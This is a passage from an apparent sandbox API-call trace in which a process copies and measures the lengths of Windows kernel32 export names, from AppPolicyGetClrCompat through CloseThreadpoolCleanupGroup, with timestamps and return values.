29 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0146.927] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0146.927] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0146.927] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0146.927] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0146.927] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0146.927] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0146.927] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0146.927] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0146.927] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0146.927] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0146.927] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0146.927] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0146.927] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0146.927] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0146.927] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0146.928] lstrlenA (lpString="BACKUPREAD") returned 10 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0146.928] lstrlenA (lpString="BACKUPSEEK") returned 10 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0146.928] lstrlenA (lpString="BACKUPWRITE") returned 11 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0146.928] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0146.928] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0146.928] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0146.928] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0146.928] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0146.928] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0146.928] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0146.928] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0146.928] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0146.928] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0146.928] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0146.928] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0146.928] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0146.929] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0146.929] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0146.929] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0146.929] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0146.929] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0146.929] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0146.929] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0146.929] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0146.929] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0146.929] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0146.929] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0146.929] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0146.929] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0146.929] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0146.929] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0146.929] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0146.930] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0146.930] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0146.930] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0146.930] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0146.930] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0146.930] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0146.930] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0146.930] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0146.930] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0146.930] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0146.930] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0146.930] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0146.930] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0146.930] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0146.930] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0146.930] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0146.930] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0146.930] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0146.930] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0146.930] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0146.930] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0146.931] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0146.931] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0146.931] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0146.931] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0146.931] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0146.931] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0146.931] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0146.931] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0146.931] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0146.931] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0146.931] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0146.931] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0146.931] lstrlenA (lpString="BEEP") returned 4 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0146.931] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0146.931] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0146.931] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0146.931] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0146.931] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0146.931] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0146.931] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0146.931] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0146.931] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0146.932] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0146.932] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0146.932] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0146.932] lstrlenA (lpString="CANCELIO") returned 8 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0146.932] lstrlenA (lpString="CANCELIOEX") returned 10 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0146.932] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0146.932] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0146.932] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0146.932] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0146.932] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0146.932] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0146.932] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0146.932] lstrlenA (lpString="CHECKELEVATION") returned 14 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0146.932] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0146.932] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0146.932] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0146.932] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0146.932] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0146.932] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0146.932] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0146.932] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0146.932] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0146.933] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0146.933] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0146.933] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0146.933] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0146.933] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0146.933] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0146.933] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0146.933] lstrlenA (lpString="CLOSESTATE") returned 10 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0146.933] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: 